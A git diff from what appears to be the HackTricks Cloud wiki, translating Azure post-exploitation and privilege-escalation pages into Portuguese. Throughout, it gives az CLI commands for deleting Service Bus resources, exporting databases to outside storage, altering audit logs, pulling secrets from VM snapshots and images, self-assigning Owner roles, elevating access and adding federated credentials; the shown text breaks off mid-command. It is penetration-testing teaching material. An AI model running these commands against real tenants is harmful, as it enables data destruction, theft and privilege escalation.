Actions: `Microsoft.ServiceBus/namespaces/topics/Delete` - -An attacker with this permission can delete an Azure Service Bus topic. This action removes the topic and all its associated subscriptions and messages, potentially causing loss of critical data and disrupting systems and workflows relying on the topic. - +Um atacante com essa permissão pode excluir um tópico do Azure Service Bus. Essa ação remove o tópico e todas as suas assinaturas e mensagens associadas, potencialmente causando perda de dados críticos e interrompendo sistemas e fluxos de trabalho que dependem do tópico. ```bash az servicebus topic delete --resource-group --namespace-name --name ``` +### Ações: `Microsoft.ServiceBus/namespaces/queues/Delete` -### Actions: `Microsoft.ServiceBus/namespaces/queues/Delete` - -An attacker with this permission can delete an Azure Service Bus queue. This action removes the queue and all the messages within it, potentially causing loss of critical data and disrupting systems and workflows dependent on the queue. - +Um atacante com esta permissão pode excluir uma fila do Azure Service Bus. Esta ação remove a fila e todas as mensagens dentro dela, potencialmente causando perda de dados críticos e interrompendo sistemas e fluxos de trabalho dependentes da fila. ```bash az servicebus queue delete --resource-group --namespace-name --name ``` +### Ações: `Microsoft.ServiceBus/namespaces/topics/subscriptions/Delete` -### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/Delete` - -An attacker with this permission can delete an Azure Service Bus subscription. This action removes the subscription and all its associated messages, potentially disrupting workflows, data processing, and system operations relying on the subscription. - +Um atacante com esta permissão pode excluir uma assinatura do Azure Service Bus. Esta ação remove a assinatura e todas as suas mensagens associadas, potencialmente interrompendo fluxos de trabalho, processamento de dados e operações do sistema que dependem da assinatura. ```bash az servicebus topic subscription delete --resource-group --namespace-name --topic-name --name ``` +### Ações: `Microsoft.ServiceBus/namespaces/write` & `Microsoft.ServiceBus/namespaces/read` -### Actions: `Microsoft.ServiceBus/namespaces/write` & `Microsoft.ServiceBus/namespaces/read` - -An attacker with permissions to create or modify Azure Service Bus namespaces can exploit this to disrupt operations, deploy unauthorized resources, or expose sensitive data. They can alter critical configurations such as enabling public network access, downgrading encryption settings, or changing SKUs to degrade performance or increase costs. Additionally, they could disable local authentication, manipulate replica locations, or adjust TLS versions to weaken security controls, making namespace misconfiguration a significant post-exploitation risk. - +Um atacante com permissões para criar ou modificar namespaces do Azure Service Bus pode explorar isso para interromper operações, implantar recursos não autorizados ou expor dados sensíveis. Eles podem alterar configurações críticas, como habilitar o acesso à rede pública, rebaixar configurações de criptografia ou mudar SKUs para degradar o desempenho ou aumentar custos. Além disso, eles poderiam desabilitar a autenticação local, manipular locais de réplica ou ajustar versões do TLS para enfraquecer os controles de segurança, tornando a má configuração do namespace um risco significativo de pós-exploração. ```bash az servicebus namespace create --resource-group --name --location az servicebus namespace update --resource-group --name --tags ``` +### Ações: `Microsoft.ServiceBus/namespaces/queues/write` (`Microsoft.ServiceBus/namespaces/queues/read`) -### Actions: `Microsoft.ServiceBus/namespaces/queues/write` (`Microsoft.ServiceBus/namespaces/queues/read`) - -An attacker with permissions to create or modify Azure Service Bus queues (to modiffy the queue you will also need the Action:`Microsoft.ServiceBus/namespaces/queues/read`) can exploit this to intercept data, disrupt workflows, or enable unauthorized access. They can alter critical configurations such as forwarding messages to malicious endpoints, adjusting message TTL to retain or delete data improperly, or enabling dead-lettering to interfere with error handling. Additionally, they could manipulate queue sizes, lock durations, or statuses to disrupt service functionality or evade detection, making this a significant post-exploitation risk. - +Um atacante com permissões para criar ou modificar filas do Azure Service Bus (para modificar a fila, você também precisará da Ação: `Microsoft.ServiceBus/namespaces/queues/read`) pode explorar isso para interceptar dados, interromper fluxos de trabalho ou permitir acesso não autorizado. Eles podem alterar configurações críticas, como encaminhar mensagens para endpoints maliciosos, ajustar o TTL das mensagens para reter ou excluir dados de forma inadequada, ou habilitar o dead-lettering para interferir no tratamento de erros. Além disso, eles poderiam manipular tamanhos de fila, durações de bloqueio ou status para interromper a funcionalidade do serviço ou evitar detecção, tornando isso um risco significativo de pós-exploração. ```bash az servicebus queue create --resource-group --namespace-name --name az servicebus queue update --resource-group --namespace-name --name ``` +### Ações: `Microsoft.ServiceBus/namespaces/topics/write` (`Microsoft.ServiceBus/namespaces/topics/read`) -### Actions: `Microsoft.ServiceBus/namespaces/topics/write` (`Microsoft.ServiceBus/namespaces/topics/read`) - -An attacker with permissions to create or modify topics (to modiffy the topic you will also need the Action:`Microsoft.ServiceBus/namespaces/topics/read`) within an Azure Service Bus namespace can exploit this to disrupt message workflows, expose sensitive data, or enable unauthorized actions. Using commands like az servicebus topic update, they can manipulate configurations such as enabling partitioning for scalability misuse, altering TTL settings to retain or discard messages improperly, or disabling duplicate detection to bypass controls. Additionally, they could adjust topic size limits, change status to disrupt availability, or configure express topics to temporarily store intercepted messages, making topic management a critical focus for post-exploitation mitigation. - +Um atacante com permissões para criar ou modificar tópicos (para modificar o tópico você também precisará da Ação: `Microsoft.ServiceBus/namespaces/topics/read`) dentro de um namespace do Azure Service Bus pode explorar isso para interromper fluxos de mensagens, expor dados sensíveis ou habilitar ações não autorizadas. Usando comandos como az servicebus topic update, eles podem manipular configurações, como habilitar particionamento para uso indevido de escalabilidade, alterar configurações de TTL para reter ou descartar mensagens de forma inadequada, ou desabilitar a detecção de duplicatas para contornar controles. Além disso, eles poderiam ajustar limites de tamanho de tópicos, mudar o status para interromper a disponibilidade, ou configurar tópicos expressos para armazenar temporariamente mensagens interceptadas, tornando a gestão de tópicos um foco crítico para mitigação pós-exploração. ```bash az servicebus topic create --resource-group --namespace-name --name az servicebus topic update --resource-group --namespace-name --name ``` +### Ações: `Microsoft.ServiceBus/namespaces/topics/subscriptions/write` (`Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) -### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/write` (`Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) - -An attacker with permissions to create or modify subscriptions (to modiffy the subscription you will also need the Action: `Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) within an Azure Service Bus topic can exploit this to intercept, reroute, or disrupt message workflows. Using commands like az servicebus topic subscription update, they can manipulate configurations such as enabling dead lettering to divert messages, forwarding messages to unauthorized endpoints, or modifying TTL and lock duration to retain or interfere with message delivery. Additionally, they can alter status or max delivery count settings to disrupt operations or evade detection, making subscription control a critical aspect of post-exploitation scenarios. - +Um atacante com permissões para criar ou modificar assinaturas (para modificar a assinatura, você também precisará da Ação: `Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) dentro de um tópico do Azure Service Bus pode explorar isso para interceptar, redirecionar ou interromper fluxos de mensagens. Usando comandos como az servicebus topic subscription update, eles podem manipular configurações, como habilitar dead lettering para desviar mensagens, encaminhar mensagens para endpoints não autorizados ou modificar a duração do TTL e do bloqueio para reter ou interferir na entrega de mensagens. Além disso, eles podem alterar o status ou as configurações de contagem máxima de entrega para interromper operações ou evitar detecção, tornando o controle de assinaturas um aspecto crítico dos cenários de pós-exploração. ```bash az servicebus topic subscription create --resource-group --namespace-name --topic-name --name az servicebus topic subscription update --resource-group --namespace-name --topic-name --name ``` +### Ações: `AuthorizationRules` Enviar & Receber Mensagens -### Actions: `AuthorizationRules` Send & Recive Messages - -Take a look here: +Dê uma olhada aqui: {{#ref}} ../az-privilege-escalation/az-queue-privesc.md {{#endref}} -## References +## Referências -- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues -- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api -- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes -- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless -- https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus -- https://learn.microsoft.com/en-us/cli/azure/servicebus/namespace?view=azure-cli-latest -- https://learn.microsoft.com/en-us/cli/azure/servicebus/queue?view=azure-cli-latest +- https://learn.microsoft.com/pt-br/azure/storage/queues/storage-powershell-how-to-use-queues +- https://learn.microsoft.com/pt-br/rest/api/storageservices/queue-service-rest-api +- https://learn.microsoft.com/pt-br/azure/storage/queues/queues-auth-abac-attributes +- https://learn.microsoft.com/pt-br/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless +- https://learn.microsoft.com/pt-br/azure/role-based-access-control/permissions/integration#microsoftservicebus +- https://learn.microsoft.com/pt-br/cli/azure/servicebus/namespace?view=azure-cli-latest +- https://learn.microsoft.com/pt-br/cli/azure/servicebus/queue?view=azure-cli-latest {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md index 7a8b1c1d5..14595895c 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md @@ -4,7 +4,7 @@ ## SQL Database Post Exploitation -For more information about SQL Database check: +Para mais informações sobre SQL Database, consulte: {{#ref}} ../az-services/az-sql.md @@ -12,8 +12,7 @@ For more information about SQL Database check: ### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write" -With these permissions, an attacker can create and update databases within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions. - +Com essas permissões, um atacante pode criar e atualizar bancos de dados dentro do ambiente comprometido. Esta atividade de pós-exploração pode permitir que um atacante adicione dados maliciosos, modifique configurações de banco de dados ou insira backdoors para maior persistência, potencialmente interrompendo operações ou permitindo ações maliciosas adicionais. ```bash # Create Database az sql db create --resource-group --server --name @@ -21,73 +20,63 @@ az sql db create --resource-group --server --name # Update Database az sql db update --resource-group --server --name --max-size ``` - ### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read" -With these permissions, an attacker can create and update elasticPools within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions. - +Com essas permissões, um atacante pode criar e atualizar elasticPools dentro do ambiente comprometido. Essa atividade de pós-exploração pode permitir que um atacante adicione dados maliciosos, modifique configurações de banco de dados ou insira backdoors para maior persistência, potencialmente interrompendo operações ou permitindo ações maliciosas adicionais. ```bash # Create Elastic Pool az sql elastic-pool create \ - --name \ - --server \ - --resource-group \ - --edition \ - --dtu +--name \ +--server \ +--resource-group \ +--edition \ +--dtu # Update Elastic Pool az sql elastic-pool update \ - --name \ - --server \ - --resource-group \ - --dtu \ - --tags +--name \ +--server \ +--resource-group \ +--dtu \ +--tags ``` - ### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write" -With this permission, you can modify or enable auditing settings on an Azure SQL Server. This could allow an attacker or authorized user to manipulate audit configurations, potentially covering tracks or redirecting audit logs to a location under their control. This can hinder security monitoring or enable it to keep track of the actions. NOTE: To enable auditing for an Azure SQL Server using Blob Storage, you must attach a storage account where the audit logs can be saved. - +Com esta permissão, você pode modificar ou habilitar as configurações de auditoria em um Azure SQL Server. Isso pode permitir que um atacante ou usuário autorizado manipule as configurações de auditoria, potencialmente encobrindo rastros ou redirecionando os logs de auditoria para um local sob seu controle. Isso pode dificultar a monitorização de segurança ou permitir que continue a acompanhar as ações. NOTA: Para habilitar a auditoria para um Azure SQL Server usando Blob Storage, você deve anexar uma conta de armazenamento onde os logs de auditoria podem ser salvos. ```bash az sql server audit-policy update \ - --server \ - --resource-group \ - --state Enabled \ - --storage-account \ - --retention-days 7 +--server \ +--resource-group \ +--state Enabled \ +--storage-account \ +--retention-days 7 ``` - ### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write" -With this permission, you can modify the connection policies of an Azure SQL Server. This capability can be exploited to enable or change server-level connection settings - +Com esta permissão, você pode modificar as políticas de conexão de um Azure SQL Server. Essa capacidade pode ser explorada para habilitar ou alterar as configurações de conexão em nível de servidor. ```bash az sql server connection-policy update \ - --server \ - --resource-group \ - --connection-type +--server \ +--resource-group \ +--connection-type ``` - ### "Microsoft.Sql/servers/databases/export/action" -With this permission, you can export a database from an Azure SQL Server to a storage account. An attacker or authorized user with this permission can exfiltrate sensitive data from the database by exporting it to a location they control, posing a significant data breach risk. It is important to know the storage key to be able to perform this. - +Com esta permissão, você pode exportar um banco de dados de um Azure SQL Server para uma conta de armazenamento. Um atacante ou usuário autorizado com essa permissão pode exfiltrar dados sensíveis do banco de dados exportando-o para um local que eles controlam, representando um risco significativo de violação de dados. É importante conhecer a chave de armazenamento para poder realizar isso. ```bash az sql db export \ - --server \ - --resource-group \ - --name \ - --storage-uri \ - --storage-key-type SharedAccessKey \ - --admin-user \ - --admin-password +--server \ +--resource-group \ +--name \ +--storage-uri \ +--storage-key-type SharedAccessKey \ +--admin-user \ +--admin-password ``` - ### "Microsoft.Sql/servers/databases/import/action" -With this permission, you can import a database into an Azure SQL Server. An attacker or authorized user with this permission can potentially upload malicious or manipulated databases. This can lead to gaining control over sensitive data or by embedding harmful scripts or triggers within the imported database. Additionaly you can import it to your own server in azure. Note: The server must allow Azure services and resources to access the server. - +Com esta permissão, você pode importar um banco de dados para um Azure SQL Server. Um atacante ou usuário autorizado com essa permissão pode potencialmente fazer upload de bancos de dados maliciosos ou manipulados. Isso pode levar ao controle sobre dados sensíveis ou à incorporação de scripts ou gatilhos prejudiciais dentro do banco de dados importado. Além disso, você pode importá-lo para seu próprio servidor no Azure. Nota: O servidor deve permitir que serviços e recursos do Azure acessem o servidor. ```bash az sql db import --admin-user \ --admin-password \ @@ -98,9 +87,4 @@ az sql db import --admin-user \ --storage-key \ --storage-uri "https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac" ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md index 06e5df01e..405e8a0ef 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md @@ -4,7 +4,7 @@ ## Table Storage Post Exploitation -For more information about table storage check: +Para mais informações sobre o armazenamento de tabelas, consulte: {{#ref}} ../az-services/az-table-storage.md @@ -12,57 +12,49 @@ For more information about table storage check: ### Microsoft.Storage/storageAccounts/tableServices/tables/entities/read -A principal with this permission will be able to **list** the tables inside a table storage and **read the info** which might contain **sensitive information**. - +Um principal com esta permissão poderá **listar** as tabelas dentro de um armazenamento de tabelas e **ler as informações** que podem conter **informações sensíveis**. ```bash # List tables az storage table list --auth-mode login --account-name # Read table (top 10) az storage entity query \ - --account-name \ - --table-name \ - --auth-mode login \ - --top 10 +--account-name \ +--table-name \ +--auth-mode login \ +--top 10 ``` - ### Microsoft.Storage/storageAccounts/tableServices/tables/entities/write | Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action | Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action -A principal with this permission will be able to **write and overwrite entries in tables** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some trusted data that could abuse some injection vulnerability in the app using it). - -- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` allows all the actions. -- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` allows to **add** entries -- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action` allows to **update** existing entries +A principal com esta permissão poderá **escrever e sobrescrever entradas em tabelas**, o que pode permitir que ele cause algum dano ou até mesmo escale privilégios (por exemplo, sobrescrever alguns dados confiáveis que poderiam abusar de alguma vulnerabilidade de injeção no aplicativo que os utiliza). +- A permissão `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` permite todas as ações. +- A permissão `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` permite **adicionar** entradas. +- A permissão `Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action` permite **atualizar** entradas existentes. ```bash # Add az storage entity insert \ - --account-name \ - --table-name \ - --auth-mode login \ - --entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" +--account-name \ +--table-name \ +--auth-mode login \ +--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" # Replace az storage entity replace \ - --account-name \ - --table-name \ - --auth-mode login \ - --entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" +--account-name \ +--table-name \ +--auth-mode login \ +--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" # Update az storage entity merge \ - --account-name \ - --table-name \ - --auth-mode login \ - --entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" +--account-name \ +--table-name \ +--auth-mode login \ +--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" ``` - ### \*/delete -This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**. +Isso permitiria deletar arquivos dentro do sistema de arquivos compartilhado, o que poderia **interromper alguns serviços** ou fazer com que o cliente **perdesse informações valiosas**. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md index 900a5d9ce..21661ba88 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md @@ -4,7 +4,7 @@ ## VMs & Network -For more info about Azure VMs and networking check the following page: +Para mais informações sobre VMs do Azure e redes, consulte a seguinte página: {{#ref}} ../az-services/vms/ @@ -12,86 +12,73 @@ For more info about Azure VMs and networking check the following page: ### VM Application Pivoting -VM applications can be shared with other subscriptions and tenants. If an application is being shared it's probably because it's being used. So if the attacker manages to **compromise the application and uploads a backdoored** version it might be possible that it will be **executed in another tenant or subscription**. +Aplicações de VM podem ser compartilhadas com outras assinaturas e locatários. Se uma aplicação está sendo compartilhada, provavelmente é porque está sendo utilizada. Portanto, se o atacante conseguir **comprometer a aplicação e enviar uma versão com backdoor**, pode ser possível que ela seja **executada em outro locatário ou assinatura**. -### Sensitive information in images +### Informações sensíveis em imagens -It might be possible to find **sensitive information inside images** taken from VMs in the past. - -1. **List images** from galleries +Pode ser possível encontrar **informações sensíveis dentro de imagens** tiradas de VMs no passado. +1. **Listar imagens** de galerias ```bash # Get galleries az sig list -o table # List images inside gallery az sig image-definition list \ - --resource-group \ - --gallery-name \ - -o table +--resource-group \ +--gallery-name \ +-o table # Get images versions az sig image-version list \ - --resource-group \ - --gallery-name \ - --gallery-image-definition \ - -o table +--resource-group \ +--gallery-name \ +--gallery-image-definition \ +-o table ``` - -2. **List custom images** - +2. **Listar imagens personalizadas** ```bash az image list -o table ``` - -3. **Create VM from image ID** and search for sensitive info inside of it - +3. **Criar VM a partir do ID da imagem** e procurar informações sensíveis dentro dela ```bash # Create VM from image az vm create \ - --resource-group \ - --name \ - --image /subscriptions//resourceGroups//providers/Microsoft.Compute/galleries//images//versions/ \ - --admin-username \ - --generate-ssh-keys +--resource-group \ +--name \ +--image /subscriptions//resourceGroups//providers/Microsoft.Compute/galleries//images//versions/ \ +--admin-username \ +--generate-ssh-keys ``` +### Informações sensíveis em pontos de restauração -### Sensitive information in restore points - -It might be possible to find **sensitive information inside restore points**. - -1. **List restore points** +Pode ser possível encontrar **informações sensíveis dentro de pontos de restauração**. +1. **Listar pontos de restauração** ```bash az restore-point list \ - --resource-group \ - --restore-point-collection-name \ - -o table +--resource-group \ +--restore-point-collection-name \ +-o table ``` - -2. **Create a disk** from a restore point - +2. **Criar um disco** a partir de um ponto de restauração ```bash az disk create \ - --resource-group \ - --name \ - --source /subscriptions//resourceGroups//providers/Microsoft.Compute/restorePointCollections//restorePoints/ +--resource-group \ +--name \ +--source /subscriptions//resourceGroups//providers/Microsoft.Compute/restorePointCollections//restorePoints/ ``` - -3. **Attach the disk to a VM** (the attacker needs to have compromised a VM inside the account already) - +3. **Anexar o disco a uma VM** (o atacante precisa ter comprometido uma VM dentro da conta já) ```bash az vm disk attach \ - --resource-group \ - --vm-name \ - --name +--resource-group \ +--vm-name \ +--name ``` - -4. **Mount** the disk and **search for sensitive info** +4. **Montar** o disco e **procurar informações sensíveis** {{#tabs }} {{#tab name="Linux" }} - ```bash # List all available disks sudo fdisk -l @@ -103,83 +90,70 @@ sudo file -s /dev/sdX sudo mkdir /mnt/mydisk sudo mount /dev/sdX1 /mnt/mydisk ``` - {{#endtab }} {{#tab name="Windows" }} -#### **1. Open Disk Management** +#### **1. Abrir o Gerenciamento de Disco** -1. Right-click **Start** and select **Disk Management**. -2. The attached disk should appear as **Offline** or **Unallocated**. +1. Clique com o botão direito em **Iniciar** e selecione **Gerenciamento de Disco**. +2. O disco conectado deve aparecer como **Offline** ou **Não Alocado**. -#### **2. Bring the Disk Online** +#### **2. Colocar o Disco Online** -1. Locate the disk in the bottom pane. -2. Right-click the disk (e.g., **Disk 1**) and select **Online**. +1. Localize o disco no painel inferior. +2. Clique com o botão direito no disco (por exemplo, **Disco 1**) e selecione **Online**. -#### **3. Initialize the Disk** +#### **3. Inicializar o Disco** -1. If the disk is not initialized, right-click and select **Initialize Disk**. -2. Choose the partition style: - - **MBR** (Master Boot Record) or **GPT** (GUID Partition Table). GPT is recommended for modern systems. +1. Se o disco não estiver inicializado, clique com o botão direito e selecione **Inicializar Disco**. +2. Escolha o estilo de partição: +- **MBR** (Master Boot Record) ou **GPT** (GUID Partition Table). GPT é recomendado para sistemas modernos. -#### **4. Create a New Volume** +#### **4. Criar um Novo Volume** -1. Right-click the unallocated space on the disk and select **New Simple Volume**. -2. Follow the wizard to: - - Assign a drive letter (e.g., `D:`). - - Format the disk (choose NTFS for most cases). - {{#endtab }} - {{#endtabs }} +1. Clique com o botão direito no espaço não alocado no disco e selecione **Novo Volume Simples**. +2. Siga o assistente para: +- Atribuir uma letra de unidade (por exemplo, `D:`). +- Formatar o disco (escolha NTFS na maioria dos casos). +{{#endtab }} +{{#endtabs }} -### Sensitive information in disks & snapshots +### Informações sensíveis em discos e snapshots -It might be possible to find **sensitive information inside disks or even old disk's snapshots**. - -1. **List snapshots** +Pode ser possível encontrar **informações sensíveis dentro de discos ou até mesmo snapshots antigos de discos**. +1. **Listar snapshots** ```bash az snapshot list \ - --resource-group \ - -o table +--resource-group \ +-o table ``` - -2. **Create disk from snapshot** (if needed) - +2. **Criar disco a partir de snapshot** (se necessário) ```bash az disk create \ - --resource-group \ - --name \ - --source \ - --size-gb +--resource-group \ +--name \ +--source \ +--size-gb ``` +3. **Anexar e montar o disco** a uma VM e procurar por informações sensíveis (verifique a seção anterior para ver como fazer isso) -3. **Attach and mount the disk** to a VM and search for sensitive information (check the previous section to see how to do this) +### Informações sensíveis em Extensões de VM e Aplicações de VM -### Sensitive information in VM Extensions & VM Applications - -It might be possible to find **sensitive information inside VM extensions and VM applications**. - -1. **List all VM apps** +Pode ser possível encontrar **informações sensíveis dentro de extensões de VM e aplicações de VM**. +1. **Listar todos os aplicativos de VM** ```bash ## List all VM applications inside a gallery az sig gallery-application list --gallery-name --resource-group --output table ``` - -2. Install the extension in a VM and **search for sensitive info** - +2. Instale a extensão em uma VM e **procure informações sensíveis** ```bash az vm application set \ - --resource-group \ - --name \ - --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \ - --treat-deployment-as-failure true +--resource-group \ +--name \ +--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \ +--treat-deployment-as-failure true ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md index 662469fc5..d97e31059 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md @@ -1,6 +1 @@ -# Az - Privilege Escalation - - - - - +# Az - Escalação de Privilégios diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md index 6a805ae88..ce4782400 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md @@ -4,7 +4,7 @@ ## App Services -For more information about Azure App services check: +Para mais informações sobre os serviços de aplicativo do Azure, consulte: {{#ref}} ../az-services/az-app-service.md @@ -12,17 +12,14 @@ For more information about Azure App services check: ### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, -These permissions allows to call the following commands to get a **SSH shell** inside a web app - -- Direct option: +Essas permissões permitem chamar os seguintes comandos para obter um **shell SSH** dentro de um aplicativo da web +- Opção direta: ```bash # Direct option az webapp ssh --name --resource-group ``` - -- Create tunnel and then connect to SSH: - +- Crie um túnel e depois conecte-se ao SSH: ```bash az webapp create-remote-connection --name --resource-group @@ -35,9 +32,4 @@ az webapp create-remote-connection --name --resource-group ## So from that machine ssh into that port (you might need generate a new ssh session to the jump host) ssh root@127.0.0.1 -p 39895 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md index f8c4359f3..fb17445f5 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md @@ -4,7 +4,7 @@ ## Azure IAM -Fore more information check: +Para mais informações, consulte: {{#ref}} ../az-services/az-azuread.md @@ -12,45 +12,38 @@ Fore more information check: ### Microsoft.Authorization/roleAssignments/write -This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role: - +Esta permissão permite atribuir funções a principais em um escopo específico, permitindo que um atacante eleve privilégios ao se atribuir uma função mais privilegiada: ```bash # Example az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234" ``` - ### Microsoft.Authorization/roleDefinitions/Write -This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned. - -Create the file `role.json` with the following **content**: +Esta permissão permite modificar as permissões concedidas por um papel, permitindo que um atacante escale privilégios ao conceder mais permissões a um papel que ele tenha atribuído. +Crie o arquivo `role.json` com o seguinte **conteúdo**: ```json { - "Name": "", - "IsCustom": true, - "Description": "Custom role with elevated privileges", - "Actions": ["*"], - "NotActions": [], - "DataActions": ["*"], - "NotDataActions": [], - "AssignableScopes": ["/subscriptions/"] +"Name": "", +"IsCustom": true, +"Description": "Custom role with elevated privileges", +"Actions": ["*"], +"NotActions": [], +"DataActions": ["*"], +"NotDataActions": [], +"AssignableScopes": ["/subscriptions/"] } ``` - -Then update the role permissions with the previous definition calling: - +Então atualize as permissões de função com a definição anterior chamando: ```bash az role definition update --role-definition role.json ``` - ### Microsoft.Authorization/elevateAccess/action -This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources. +Esta permissão permite elevar privilégios e ser capaz de atribuir permissões a qualquer principal para recursos do Azure. É destinada a ser concedida a Administradores Globais do Entra ID para que eles também possam gerenciar permissões sobre recursos do Azure. > [!TIP] -> I think the user need to be Global Administrator in Entrad ID for the elevate call to work. - +> Eu acho que o usuário precisa ser Administrador Global no Entra ID para que a chamada de elevação funcione. ```bash # Call elevate az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01" @@ -58,29 +51,22 @@ az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Au # Grant a user the Owner role az role assignment create --assignee "" --role "Owner" --scope "/" ``` - ### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write -This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**. - -Example command to give access to a repo in Github to the a managed identity: +Esta permissão permite adicionar credenciais federadas a identidades gerenciadas. Por exemplo, conceder acesso ao Github Actions em um repositório a uma identidade gerenciada. Em seguida, permite **acessar qualquer identidade gerenciada definida pelo usuário**. +Exemplo de comando para conceder acesso a um repositório no Github a uma identidade gerenciada: ```bash # Generic example: az rest --method PUT \ - --uri "https://management.azure.com//subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities//federatedIdentityCredentials/?api-version=2023-01-31" \ - --headers "Content-Type=application/json" \ - --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:/:ref:refs/heads/","audiences":["api://AzureADTokenExchange"]}}' +--uri "https://management.azure.com//subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities//federatedIdentityCredentials/?api-version=2023-01-31" \ +--headers "Content-Type=application/json" \ +--body 